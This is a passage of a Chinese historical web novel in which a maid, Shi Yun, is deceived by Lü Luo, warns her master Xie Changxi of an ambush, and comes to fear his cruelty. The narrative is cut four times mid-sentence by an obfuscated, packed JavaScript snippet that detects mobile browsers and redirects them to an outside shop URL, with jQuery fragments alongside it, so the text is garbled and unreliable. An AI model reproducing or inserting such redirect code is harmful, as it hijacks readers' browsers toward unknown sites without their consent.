临近庙会的前几日，绿萝常来寻施筠，问她喜欢些什么，拉着她说了好些家常话，还教她南地的口音。 施筠心里那点瞒着谢长溪的心思也就消了下去。 只是庙会的前一日，谢长溪命施筠去书房伺候。 这倒是奇了，自打绿萝来了后，谢长溪已许久不见她。 因答应绿萝要带她出去，施筠见到谢长溪时，不免心虚，捧着糕点的手破天荒的在谢长溪面前抖了一下。 “映月，你觉绿萝为人如何。” 谢长溪目光从她手上游移，放下卷宗，抬眼看她，淡声问。 施筠垂首肃立，敛眉道，“兴许是个可怜人。” 她手心不知何时沁出一层汗，心也像是悬着，唯恐漏了馅。 谢长溪但笑不语，良久他拈起糖糕。 末了，又松手放了回去。 “她原是个伶人，游走声色，不值得你交心。”谢长溪淡声说着，旋即起身让施筠伺候沐浴更衣。 施筠点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522912|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可她心中不服气的，若是有得选，怎会沦落为伶人。谢长溪到底是出身高贵，哪里会懂在底层艰难挣扎的人。 想到此处，施筠觉得谢长溪太过凉薄。 又想起谢长溪替她给妹妹下葬，帮她说话，这于谢长溪而言，不过是动动手指。 而这些事，但凡有一桩落在她身上都能压死她。 只这会，施筠看着谢长溪，忽觉自己有些傻。 谢长溪那些微不足道的善意，就可以了结她的困境，可她们之间的恩，是不对等的。 施筠发了会愣，谢长溪忽地走近她，一道冷冽的黑影在她身前将她笼罩。 “在想什么？”谢长溪沉声问她。 不知为何，这声音她从前觉得温雅仁善，如今听着却似冬日的霜雪，冷冽凉薄。 “倒也没想什么，一时失神。”施筠向后退了一步，伺候谢长溪更衣。 谢长溪仍旧沉着声音，道：“这几日你也不必伺候了，唤绿萝来。” 施筠颔首退下。 庙会当日，施筠早早向秦妈妈借了一套老旧的衣裳让绿萝换上。 江陵六月初的庙会极其热闹，秦妈妈带着兰芳和铃香先一步出了府。 绿萝在脸上抹了灰，扮作老妈妈的模样跟着施筠出了宅邸。 日暮时分，二人已到街上。 庙会热闹非凡，长街灯笼高挂，行人摩肩接踵，叫卖声不绝于耳。 绿萝挽着施筠的手，看着满街的热闹，绿萝笑得眉眼弯弯，活像个小孩。 “绿萝，出城去实在太危险，你就去庙里为你的姐姐祈福吧。”施筠温声道。 绿萝颔首，松开施筠，拢了拢袖口方才道：“劳烦姐姐了。” 施筠同绿萝沿街同行，越往庙里去人越多，瞧着那方人挤人，还不待施筠去牵绿萝的手，就见绿萝先拽着她往前跑。 “姐姐，你没来过江陵，前头可热闹了。”话落，绿萝一面笑一面快步往前跑。 施筠只得快步跟上她，人潮拥挤，渐渐地施筠觉得绿萝离她越来越远。 “绿萝！” 施筠扬声喊道。 忽地，施筠手上悬空，伴随拥挤的人潮。 她踮起脚四处张望，试图找到绿萝的身影，可周遭的人将她推搡来推搡去。 眼下，她就像是飘摇不定的浮萍。 “姐姐！姐姐——” 绿萝的声音不知从那方传来，施筠找不到具体方位，周遭人太多，她几乎难以走动。 施筠愣在原地好半晌，只得硬着头皮去找绿萝。 在寺庙附近兜兜转转好几圈，都没见到绿萝的人影。 好容易出来逛一回，竟把人弄丢了。 她苦寻不得，只能往回走，正巧在方才的路上碰见站得端正的绿萝。 绿萝立在月色下，身姿纤细，袖口覆至守手背，她静静地看着施筠，眸光盈盈。 施筠见她如此，心中思绪翻涌，方才绿萝究竟是无心还是用心。 绿萝步态略有歪扭，她一步步地走向施筠，走至她身边，方才在她耳边悄声说话。 “姐姐，求你了，再帮一次可好。”绿萝泪水涟涟，言真意切，声音止不住地颤抖。 8. 第 8 章 施筠带着绿萝回府，进了屋关上门，方才问她，“到底是怎么了。” 绿萝紧咬下唇，几次欲言又止。 良久，她撩起衣袖，白嫩的皮肉上新旧伤痕交叠，红涔涔的像是盛放的杜鹃花。 绿萝泣道：“姐姐，我是知府大人送来，他要我时刻盯着谢郎君，可郎君行事端正，哪有什么污点可言。” 她道：“姐姐，我在这里一日就被会知府大人盯着，我实在活不下去了。” 绿萝哭得梨花带雨，声音抖得让人心疼。 施筠听罢，眉头深蹙，忙将她扶起，凑近一看她那皮肉更是像一滩软烂的泥水。 见此，施筠眼底腾起水雾，一个十六岁的小姑娘，活得这样艰难。 “你想如何逃？”施筠问道。 绿萝从袖中取出几张公凭，上头盖着官印，她道：“我有空白公凭，只要出了江陵，我想去哪儿去哪儿，只要...只要不在江陵。” “可你的户籍如何办，逃得了一时，你往后怎么办。”施筠疑道。 大晟朝的户籍制度极为严苛，仅凭一纸公凭，就算出得了江陵，往后又该怎么办。 “不，姐姐，这世上没有银子买不来的东西，只要离开江陵没有人会去查我的户籍，哪怕我伪造一份，怎么都有办法的。” 绿萝解释道。 “总是有办法的...” 她抬眸望着施筠，她已无路可走了。 施筠犹疑不定，可那双眼睛看着她，只将她视作唯一的救命稻草。 施筠啊施筠，你连自个都救不了，还想去救别人。 “我帮你——” 话音刚落，屋外便有人来，一席话叫两人浑身一颤。 “映月姑娘，绿萝可在，郎君命我来请。”鹤木扬声道。 闻言，绿萝将公凭塞进施筠手中，朝她摇摇头，旋即擦干泪，放下衣袖，坦荡地往外走。 那像是要赴死的模样，让人心惊。 施筠将公凭塞进袖中，再回身时，鹤木仍在外头，目光带了点同情的意味。 他朝施筠道：“映月姑娘也请一道吧。” 施筠颔首，跟在她们身后。 书房里，谢长溪支手扶额，骨节分明的手在案上依次敲定，周身的温润气质褪去，转而浮起无形的威压。 听见脚步声，他这才抬眼。 “想来绿萝姑娘心里只有知府大人，为知府大人从我这儿拿走了账本。”谢长溪勾唇，泠然一笑。 “既然不肯留在我这儿，只好将你送还给知府大人了。”语罢，谢长溪沉声下令，“鹤木，将人送还给知府大人。” 话音刚落，绿萝吓得花容失色，眼珠不停地颤动，她咬紧下唇，不向谢长溪求情，反而转头看向施筠。 “姐姐，姐姐——”绿萝声音抖如筛糠，眼含祈求。 谢长溪这一番话，无疑是将绿萝的真面目撕开给她看。 施筠确信先前绿萝是为利用她，可人有得选，岂会铤而走险。 绿萝若是被送回知府，岂不是要送她去死。 思及此，施筠心一软，当即叩首。 “郎君，绿萝年纪尚小，饶她一回罢。何况是奴擅作主张但她出去，若要罚郎君连奴一道罚了吧。”施筠言辞恳切，一字一句地都在为绿萝开脱。 谢长溪冷眼看她这样护着一个不相熟的人。他将话的如此明白，被人利用也甘愿为之求情。 也不知她是太过善良，还是太过愚蠢。 “既如此，那你便去廊下跪着。”谢长溪眸光扫过施筠，又见她脊背弯曲，仍旧不卑弱。 她身上的气韵究竟是从何而来。 谢长溪眉梢轻蹙，语气不耐，对绿萝道：“且回房去。” 两人各自领命，施筠在廊下跪着，书房里灯烛跃动，今夜是兰芳进书房伺候。 兰芳见施筠跪着想问发生何事，可在郎君眼前，她岂敢轻举妄动。 谢长溪只叫她跪着，也没说个时限。 施筠心口闷着一口气，她既怕绿萝回去丧命，也怕这回恐怕惹恼了谢长溪。 子时，墨色夜空中的一轮弯月被乌云藏匿，眼前黑鸦鸦的，空气中弥散着泥土青草的腥气。 不多时，飘起了淅淅沥沥的小雨。 虽说是夏日，可到了夜半时分，到底是冷的，何况又下了雨。 施筠垂眸，目光陷进一处虚无，好像什么都看不清，她什么也想不了。 她就这样木讷地跪到天明。 翌日，晨光乍现，雨后天色清明，碧空如洗。 谢长溪晨起到书房，见施筠依旧规规矩矩地跪着，脊背挺得僵直。 “起来罢，日后不要再犯傻。”谢长溪伸手欲将她扶起。 可施筠没有抬头，在听到谢长溪的话后，便昏昏沉沉地晕了过去。 这一病，施筠也不常去谢长溪身边伺候，一应事宜都交给了兰芳。 兰芳高高兴兴地应下，一连几日都在为此事欢喜。兰芳都将活揽了去，铃香便守在施筠身边照顾着。 施筠醒前鹤木抓了药给铃香，铃香煎好药，放在炉子里煨着。 铃香见施筠幽幽转醒，忙把药端了来，一脸担忧。 “姐姐是怎么惹恼了郎君？郎君几时罚过人，何况姐姐你向来最贴心，怎么就犯了傻呢。” “是啊，怎么就犯了傻呢。” 施筠抿了口苦涩的药，心跟着犯苦。 铃香怕施筠多想，便不再追问，只在一旁静静陪着。 “姐姐在么。” 房门被叩响，门外立着一道清瘦的声音。 这声音施筠很熟悉，听过她哭，听过她笑。 铃香不知发生了何事，已经将门打开，绿萝见施筠病恹恹地靠在床边，心内愧疚。 “铃香，容我同姐姐说几句可好？”绿萝轻声请求。 铃香并未应下，先是转头看了施筠一眼，见施筠点头这才关门离去。 绿萝自知欺骗了施筠，心中有愧，她索性跪在床榻边，眼泪扑簌扑簌地滚落。 她握住施筠温凉的手，好半晌才开口。 “姐姐，对不住。我...我只是，我只是无路可走了，姐姐你待我是真心的，我对不住姐姐。” 绿萝声泪俱下，她不求施筠原谅，只求她能听她的真心话。 施筠轻闭双眸，脑中一片空白，绿萝的话左耳进右耳就出了。 她说了什么，施筠已不在意。 “公凭还你。” 施筠从枕下拿出公凭。 绿萝心知施筠不愿再见她，可她良心难安，纵使施筠不与她搭话，她也日日来见她，像往常那样同她说话。 那夜的事，在绿萝身上好似已经过去，也好似从未发生过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522913|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这日，绿萝将药端给施筠，顺道端了一碟芙蓉糕，她抿唇道：“姐姐，这是我做的，你尝尝看好吃么。” 施筠的风寒已大好，那药她只喝了一半。 她仍不愿搭理绿萝，绿萝却拧眉，赌气似地拈起糕点喂进她嘴里。 “可好吃？” 绿萝欢喜问道。 施筠无奈点头，恰逢这时铃香进屋，铃香瞧见糕点，便道：“绿萝姐姐怎么常往厨房去了。” “秦妈妈前两日还抱怨着厨房小厮躲懒，夜里总寻不见人。”铃香走到施筠身前，左看看右瞧瞧。 “姐姐好多了，秦妈妈笑姐姐呢。说是小厮躲懒呀，姐姐也跟着躲懒。”铃香扬眉道。 “你呀，映月姐姐不去，自然是由我顶着的。” 绿萝眸光微沉，笑了笑，将糕点也塞了块给铃香。 晚间，施筠去了厨房。 甫一进去，只瞧见秦妈妈，秦妈妈正生火，一扭头就看见施筠。 “听铃香说你病了，好得如何了？”秦妈妈把手擦了擦，拉过施筠的手，从头到脚打量了一番。 只见施筠穿着月白交领短褙子，下身素色百迭裙，一如往常的素淡。 “好多了，又不是什么大病，想妈妈得紧，病一好便来见妈妈了。”施筠抿唇笑道。 “兰芳方才才来过，你今日来得不巧，兰芳说郎君应了知府大人的邀，去城外的青山寺了。”秦妈妈道。 谢长溪初来时，晚间是不用糕点的。后来是施筠学了手艺，每晚都要做些清甜的糕点。 秦妈妈原以为施筠存了做妾的心思，直至绿萝进府才知，施筠只是依着本分做事。 这倒也怪了，寻常女使哪能这般体贴周到。 施筠道：“郎君今夜不回来，那就不做了，偷个懒。” 语罢，施筠同秦妈妈说了会话。 秦妈妈探头看天色，皱眉道：“这小厮近来总不守时，这会了还不回厨房收拾，等逮到这崽子定要数落他一顿。” “映月，天色不早了你且回去歇着罢，好生把身子养着。”秦妈妈语重心长地说。 施筠颔首，转身回后院去。 月色清明，银辉遍地。 府上静谧安宁，鹅卵石小径植着矮木，风一吹就飒飒作响。 施筠难得清闲地走一回，只刚转身绕过月洞门，便见前头有一身影在月色下鬼鬼祟祟地走动。 那影子被拉得瘦长，不多时，那身影转身动了起来。 “绿萝！” 施筠凝眉，冷声呵道。 闻声，绿萝僵愣在原地，直直地看向施筠。 “姐姐，当真是来得不巧。”绿萝短叹一声，旋即走上前，与施筠对视。 绿萝眼中的精明、野心一览无余，其中好似还夹杂了施筠看不懂情绪。 “你在作甚？” 施筠胸口堵着一口气，凝着眉问她，她总觉绿萝在做些见不得人的事。 “姐姐何必呢，过了今日安抚使就要命丧黄泉，趁这机会我们跑吧，姐姐。”绿萝挑眉看她，满心期待施筠给她一个答复。 施筠从前为她求过情，如今有机会，她也愿意跟施筠离开江陵。 绿萝从袖中扯出一张公凭，见施筠久久不语，心里便有了答案。 “姐姐，好自为之。” 话落，绿萝头也不回地转身离开。 9. 第 9 章 长月高照，疾风乍起，手上的公凭犹如一根丝线，轻轻地撩拨她犹疑的心。 末了，施筠收起公凭，快步绕过回廊，径直往马厩去，旋即吩咐人套车去城外青山寺。 车夫得了令，又见施筠着急，三两下便套好车，一路疾驰奔向城外。 一路上施筠的心跟着马车起伏，心内忐忑不安。 对于谢长溪官场上的事，她一概不了解。可谢长溪为公事熬到深夜，这些都做不得假。 何况谢长溪对她是有恩的，她无法看着谢长溪身陷险境，而她逃之夭夭。 “再快些。”施筠嗓音发颤，看向帘外疾驰而过的食肆茶楼。 闻言，车夫扬鞭吼了一声，马车如离弦之箭奔了出去。 眼看着出了城，施筠的心稍静了些。 城外山路坎坷，黑漆漆一片，枝叶摩挲声如同鬼魅低语，一点动静都叫人心乱如麻。 施筠深吸口气，定了定神，让自己冷静下来。 “娘子，前头有人影了。” 车夫扬声朝身后道。 闻声，施筠急忙探出头，借着清幽的月光往前看去，前方确实有身影在晃动。 马车碾过地上的枯枝败叶，咯吱咯吱的响，而前头似乎也有同样的声音。 “可看得清，是郎君的人么？”施筠问道。 那些人离得太远，月光清明却也看不太清。 车夫上下眼皮一挤，眯着眼看，离得又近了，方才确认道：“是！是郎君的人，我瞧见鹤木了。” 施筠眸光微闪，撩起车帷，朝远处扬声道：“停下，停下——” 这一声响彻寂静的山林，格外清亮，像一块石子掀起无边的涟漪。 鹤木闻声，抬手示意身边人停下。 谢长溪向来平静的眸中闪过一丝惊异，心神晃荡了一瞬。 施筠为何会出现在城外。 少顷，谢长溪掀起车帷，见施筠只身一人快步奔来。 “鹤木，还不快去。”谢长溪眉心紧蹙，沉声吩咐道。 鹤木得令打马上前，只刚踏出一步，周围山林里一阵异动，悉悉索索的响起来。 施筠在离谢长溪数十步开外，扬声大喊。 “郎君，有埋伏——” 话音甫落，周遭片片银光闪过，不知从哪里冒出来一批又一批的黑衣人。 鹤木还没靠近施筠，便被黑衣人拦住。施筠被眼前人吓得惊慌失措，连连后退。 谢长溪自马车中取出佩剑，割断马车的缰绳，打马冲进人堆里，随从和黑衣人扭打在一起。 眼前刀光剑影，兵器相撞发出冰冷的声音，很快血腥气就扑鼻而来。 施筠着急忙慌地向往回跑，可四周都是人，已有黑衣人刀剑对着她，朝她砍了过来。 谢长溪勒紧缰绳，一手持剑掷了过去，旋即夹紧马腹，在靠近施筠时腾出手将她拦腰捞起。 施筠惊慌之下，又忽地腾空，腰腹被勒得生疼。 “郎君！有危险。”施筠讷讷地说话，唇瓣止不住地颤抖。 “你自顾不暇，还要去救别人。映月，你是什么圣人？”谢长溪厉声责问，可施筠在他怀中颤颤发抖。 他收敛几分，沉声道：“你倒是一等一的良善！” 施筠虽是为他报信，可连自身都保不住的人还要去救别人，此举惹得他又气又怜。 谢长溪凝眉，思索一番，又觉不该同施筠置气，本也是一片好心。 思及此，他不禁为施筠日后着想，倘若她离了侯府的庇佑，恐怕只会被人骗了去。 这世道于她是不利的。 施筠脑袋发懵，浑然不觉被人抱在怀中。 谢长溪下马，将施筠放下，见她整个人抖如筛糠，目光散乱。 他眉心拧的更紧，蹲下身，眸光温和地看着她。 “莫怕，这儿没人。”谢长溪温声安抚。 良久，施筠眸光凝起，呼吸逐渐平稳。 月如钩，满地银霜。 林间风声渐重，落叶被搅得纷乱。 施筠缓缓抬眸，见谢长溪就在眼前，她这才确信，谢长溪和她都还活着。 她也算救了谢长溪一命，如此他和她之间的恩情一笔勾销。 “郎君，无事便好。”话落，施筠正欲起身，却见谢长溪身后一道利箭飞来。 说时迟那时快，施筠一把推开谢长溪，长箭刺进她的左肩，疼得她咬牙呼痛。 随后，她听见鹤木等人赶来，后来的事施筠已记不太清。 “郎君，赵明礼的人都解决了，真账本已拿到手。” 鹤木刀上还沾着温热的血，他见谢长溪抱着中箭的施筠，急忙垂下眼。 “回府。” 谢长溪一路抱着施筠回府，待大夫抓了药，铃香煎上后，谢长溪才回书房。 谢长溪翻看账本上的往来，赵明礼本是新党的人，其中往来最密的是国公爷韩成。 其余的皆是新党的人，旧党无一人在册。 韩成本就疑心他的立场，如今账本在手，只看他如何做。 新旧两党的算盘打的太响，只等着看他如何处理江陵的事。 “把这账本送个国公爷，就当作是我出任荆湖北路体量安抚使还他的礼。”谢长溪将账本掷在案上。 江陵刺杀他的这批人，不必想也知是赵明礼的手笔。账本的事一旦查出来，韩成摘得干净，可赵明礼难辞其咎。 谢长溪本不愿赶尽杀绝，只可惜赵明礼的手伸的太长，触了他的霉头。 “人捉回来了？”谢长溪冷声问道。 鹤木躬身回禀，“在柴房关着，郎君要如何处置？” “挑了手脚筋，发卖到矿场。”谢长溪道。 鹤木领命退下。 —— 铃香和兰芳守着施筠，待施筠醒来已是天明。 兰芳见施筠醒了，便起身去回禀郎君。 铃香端来汤药，忧道：“姐姐最近是怎么了，总是出事。” 施筠肩上的伤隐隐作痛，她抬手摸了一下，血珠渗了出来。 “郎君无事便好。”施筠唇色发白，一口一口地抿铃香喂来的汤药。 “姐姐，你总要为着自己着想呀，总这样叫我心也跟着疼。” 铃香说着便有了泪意，却只是别过头，缓了片刻。 施筠有些倦了，一时间也找不到话宽慰铃香。 铃香有些话说得不错，她总该为自己着想，不能救了别人把自己搭上去。 暮色四合，残阳斜照。 施筠正于房中看书，忽听门外急促地脚步声，再一抬眼兰芳就到了跟前。 一匹蜀红锦，朱红为底，上面用金线织出的缠枝宝相花纹，花心还缀着一粒粒米珠大小的珊瑚珠，并两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522914|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只成色极好的玉镯。 底下还有两匹天水碧和月色罗。 “姐姐，这是郎君赏的。”兰芳哪里见过这样的东西，只巴巴望着，眼底藏不住的羡慕。 施筠只看了眼，淡声道：“收起来罢。” 她昨日算是救了谢长溪一命，他有赏赐也不奇怪，只是这些料子是不是太名贵了些。 月上枝头，轻薄的月光透过窗纸撒了进来，施筠在床头看话本。 施筠捧着话本，总觉周身腻得慌，好似被什么裹了起来。 不多时，施筠淡淡抬眸，余光瞥见谢长溪立在门前。 施筠目光惑然，心道他是何时来的，为何没人来说一声。 谢长溪见她看见，索性进了屋。 “伤如何了？”谢长溪看着她，目光温和。 施筠道：“还有些疼。” “你还有什么想要的，一道说与我听。”谢长溪眸光低垂。 施筠看那目光像一潭深水，似要将她吞没。 施筠定了定神，道：“郎君，奴别无所求。郎君应之前答应奴的，将奴放良便好。” 闻言，谢长溪眉心轻拧，他见施筠身形清瘦，本也生得有几分姿色，偏她性情善良温和。 她这般，如何能离开他。 起初是着了唐志生的道，而后又被绿萝骗。若恢复自由身，只怕落得个凄惨的下场。 思及此，谢长溪不动声色地叹了口气，并未答话。 谢长溪这一犹豫，倒叫施筠不安，只是这不安很快被压了下去。 她服侍谢长溪，周到体贴，纵使她这下属干的太好舍不得，可她亦为谢长溪培养了两个得力助手。 谢长溪没有理由不放她。 因受伤的缘故，施筠这几日在房中休息，铃香则守在她身边，兰芳揽过伺候谢长溪的活。 趁着闲暇的时光，她将谢长溪的起居、口味偏好等一应事宜都记录在册。 铃香看那事无巨细的手札，讶然道：“姐姐当真心细。” 施筠笑道：“往后是要由你和兰芳照顾郎君的。” 铃香捧着手札，略有疑惑，“姐姐，郎君为人温和，伺候郎君有什么不好的，为何要离开呢？” “姐姐你知道么，我叔叔婶婶为了避开朝廷的税躲到了山里去。官府压得我们喘不过气，我们村子里的人都跑到了山里去。” 铃香说话的声音压得很低，话落深深叹了声。 她是过怕了那样的日子，如今有一口饭，安定的生活，是她以前求都求不来的。 施筠明白铃香的顾虑，只淡声说：“这不一样的铃香，跟着郎君确实可以顺遂一辈子，可我们哪有直起腰板说话的日子，生死不过别人的一念之间。” 外头的流离失所和侯府里的胆战心惊，到底是不同的。 外头尚有自己为自己做主，侯府里若不得主子青睐，只能任由旁人做主。 铃香似懂非懂，但她瞧得出郎君对施筠是极好的，于是好奇地问，“姐姐，倘若郎君舍不得你呢？” 施筠微怔，铃香问的这话，恰是她最不愿想的。 可她实在想不出谢长溪有何舍不得的，左右不过是个侍女，天底下总有甘愿在她身边侍奉的。 “不会的，郎君是个好人。”施筠淡淡一笑。 听施筠如此，铃香也不好再问，便在施筠身边静静陪着她。 10. 第 10 章 江陵府的案子落定，谢长溪分送两封密信，一封到了韩成手中，一封则是呈给天子。 案子虽了，谢长溪却未闲着。他在江陵又多留了两个月，借着提刑官的职权，把积攒多年的旧案逐一梳理。 那些被赵明礼压着不办的案子，他一桩一桩地翻出来重审。 这所有案子一查，就查到了年底，年底官家下诏命年后他回京述职。 施筠自打箭伤好了后也没再闲着，同往常一样伺候谢长溪。 不过兰芳主动揽了不少活，施筠只在夜里谢长溪沐浴更衣。 这几个月来，施筠不大愿意近身伺候，她总觉谢长溪看她的目光越发缱绻，只一想到这里就叫施筠后背生寒。 眼看着就要回汴京了，谢长溪也该兑现承诺，给她良籍。 这紧要关头，可千万别出了岔子。 施筠只当自己错看了那些目光。 冬月里施筠添了新衣裳，是谢长溪赏下来的，铃香和兰芳都有。 小年夜，家家户户点起长明灯。 白雪纷纷，檐下挂着红灯笼。 施筠裹着一件石青色斗篷，下着一条素色百迭裙，仰头看松柏上的新雪。 虽是冬日，但天空尚清明，亦有些日光，薄薄的照下来。 铃香和兰芳在一旁踩雪，这是她们过的第一个年。 “姐姐也来堆一个雪人。”铃香上前牵起施筠的手。 施筠抬眸轻笑，掸了掸她身上的新雪，她两人玩着雪，弄得衣袖都湿了。 兰芳蹲在地上画圈，见施筠过来头垂得更低。施筠见她不说话，便上前问兰芳，“怎么了，这么欢喜的日子，哭丧着脸作甚？” “我只是不明白，姐姐为何会被那绿萝骗了，分明瞧着就不是什么好人，姐姐还为了她违逆郎君的令。”兰芳鼓着腮帮子，闷声说着。 她早就同施筠说过那个绿萝不是什么好人，可施筠依旧要帮着她。 施筠眉心轻蹙，被兰芳这番话噎得不知所措。 绿萝的事，却是因她而起。若不是她开口为绿萝求情，又怎会又后面那出。 兰芳咬唇道：“郎君待我们这么好，姐姐怎么能做这样的事，万一郎君真有什么好歹，我一辈子都不会原谅姐姐你。” 郎君是她的恩人，予她衣食住行。且郎君说话温柔，行事颇有风度。 她若是姐姐，断不会为了个外人背叛郎君。 铃香知道兰芳说得不无道理，可这话太过分了些，怎么就能因此恨上姐姐。 若不是施筠当初在牙行将她二人带走，她们还不知要流落到何地。 “姐姐，兰芳尚小，不要同她计较。”铃香先宽慰施筠，后轻斥兰芳，“兰芳，你怎么能这么同姐姐说话！姐姐向来心善，一时被骗也是有的。” 三人僵持间，月洞门前晃过一个身影，打眼一瞧见是秦妈妈端着热气腾腾的鱼糕藕汤过来。 秦妈妈敏锐的觉察到一丝怪异，她笑道：“来，喝点暖暖身子。趁着郎君还没回来，我们先把年过了，新岁不带旧事了，和气生财。” 兰芳闻到香味什么也顾不上，她别扭地抬手盛了一碗给施筠，而后又给铃香添了一碗。 施筠只刚尝了口鱼汤，便听秦妈妈道，“先前厨房偷懒的小厮被郎君抓了去。” “是怎么了？”铃香一骨碌咽下，疑道。 秦妈妈扬了扬眉，卖了个关子，好半晌才开口，“那里是躲懒呢，是收了绿萝的银子给知府卖命呢。” 这事施筠早就知道，秦妈妈讲出来，施筠也不觉惊讶，只是铃香和兰芳吓了一跳。 兰芳瘪嘴，道：“我早知道她不是什么好人！” “那日我看着鹤木将绿萝送了出去，手脚动弹不得，那张脸扭曲的认不出模样。”秦妈妈眉头高高蹙起，复又唏嘘一声。 想到当初绿萝进府时，多明媚的一个姑娘，落得个手脚尽废的下场。 施筠手上一顿，转头看向秦妈妈，“妈妈你说她怎么了？” 秦妈妈眼珠子一转，凭她多年的阅历来看定是那回事，她笃定道：“应当是被挑了手脚筋，动也动不得。” 闻言，施筠看那碗里浮起的油水，胃里一阵翻江倒海。 她可以想象到绿萝当时是多么的痛苦，绿萝痛苦嘶喊的声音，仿佛在她耳边回响。 施筠起身跑到角落里吐了起来，她觉得方才吃的不是藕汤，而是人肉，渗着血的人肉汤。 冬日刺骨的寒意攥紧袖口衣领，这会施筠忽地想起了唐志生。 被人打断了腿，割了舌头，连带着一家人都被打发到了庄子上。 谁有这么大的权利，还有谁。 只有谢长溪。 唐志生逼她嫁给他，柳妈妈为难她，绿萝骗了她。 他们固然都对不起她，可也不该落得身残的下场，太残忍了。 人命轻飘飘的，一点都不由自己做主。 施筠心口一阵恶寒，好像皮肉被剥开，风雪灌进脊骨，冷得她作呕。 她又惊又怕，细数这些时日她的所作所为，她从未对不起谢长溪，只想求他遵守诺言。 角落里，施筠缓了好一阵才渐渐定心，她从未对不起过谢长溪，她不必怕。 霞光渐起，夕阳照在薄雪上，映出点点碎光。 因小年的缘故，谢长溪提前回府，施筠在院前候着。 谢长溪命鹤木将平安符赐了下去，施筠拿在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522915|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里只觉沉甸甸的，心里说不出的烦闷。 鹤木倒是头一回见谢长溪赏赐下人这些小玩意，往日里有赏也不过是些金银珠宝。 晚间，施筠系上平安符，在书房里研磨，谢长溪侧目看施筠，只见她低眉垂目，无嗔无喜，好似个瓷人。 他心念一动，搁笔。 “你可会写字？”谢长溪面带微笑问道。 施筠微怔，恭敬回道：“会一些。” 谢长溪缓缓起身，将笔递给施筠，眉间透出几分笑意，温和清润。 施筠看那悬在案前的笔，只将眸光垂得更低，避开与谢长溪对视。 她小心接过笔，立在案前。 “郎君要我写些什么？”施筠握着笔，低声问道。 谢长溪于她身后，看着她，温声道：“会什么便写什么。” 他曾命鹤木查过施筠的身世，父母已逝，被堂婶卖到侯府。 施筠背对着谢长溪，可那灼人的目光好似从未消散。此刻提笔，她心里烦忧，脑中忽地浮起一首诗。 末了，施筠落笔，在宣纸上写下：独在异乡为异客—— 还不待她写完，身后的压迫感越发的紧，清浅的沉水香环绕着她。 握笔的手，被人握住。 施筠心脏猛跳，眸光大颤，指尖几不可察地颤了颤，这一颤让墨滴在纸上。 谢长溪对她真的存了别样的心思。 谢长溪垂眸，见她写下的字，字迹清秀却不纤弱。 字如其人，有几分骨气。 “字如其人。”谢长溪道，声音不大，像是在自言，又像是在说给她听，“柔而不弱，韧而不刚。不错。” 施筠搁笔，挣开谢长溪的手，立在一旁福身，“多谢郎君夸赞，上不得台面的。” 见施筠如惊弓之鸟一般，谢长溪失了兴致，便放她离开。 施筠得令，如蒙大赦。 谢长溪只当施筠是个木头脑袋，尚未领会他的意思，他尚未娶妻，倒也不急这事。 左右施筠只能跟着他。 施筠回房从枕头底下摸出空白公凭，她看了好一会，终究是放了回去。 谢长溪到底是帮过她，纵有那样的心思，她若不愿，想必也不会强求。 等翻了年，回了汴京，她再提及放良一事。 她只是个微不足道的小人物，谢长溪年少得志，位高权重，要什么样的姑娘得不到。 想来也不会在她身上花什么心思，不过是一时兴起罢了。 思及此，施筠稍稍安了心，如今只等着回汴京。 这夜，她做了个光怪陆离的梦，梦里父母在等她回家，还有阿荷拉着她的手，说要跟姐姐一起活下去。 11.第 11 章 年关已过，施筠跟着谢长溪回了颍川侯府，只是这回还带了铃香和兰芳。 回了东苑谢长溪将东苑交由她打理，可在回府前，崔氏已派了管事的女使来东苑。 这一来施筠管也不是，不管也不是。 施筠不是没想过划江而治，可崔氏的人不肯。 那头事事都做了主，哪还有她说话的地，再说这毕竟是侯府，不比在江陵自在。 晚间，施筠从厨房做了糕点出来，只刚走出两步，便见画秋趾高气昂地看着她，连带说话的声音也尖了起来。 她生得俏，一双柳叶吊梢眉，脸若银盘，打眼过去便是富贵相。 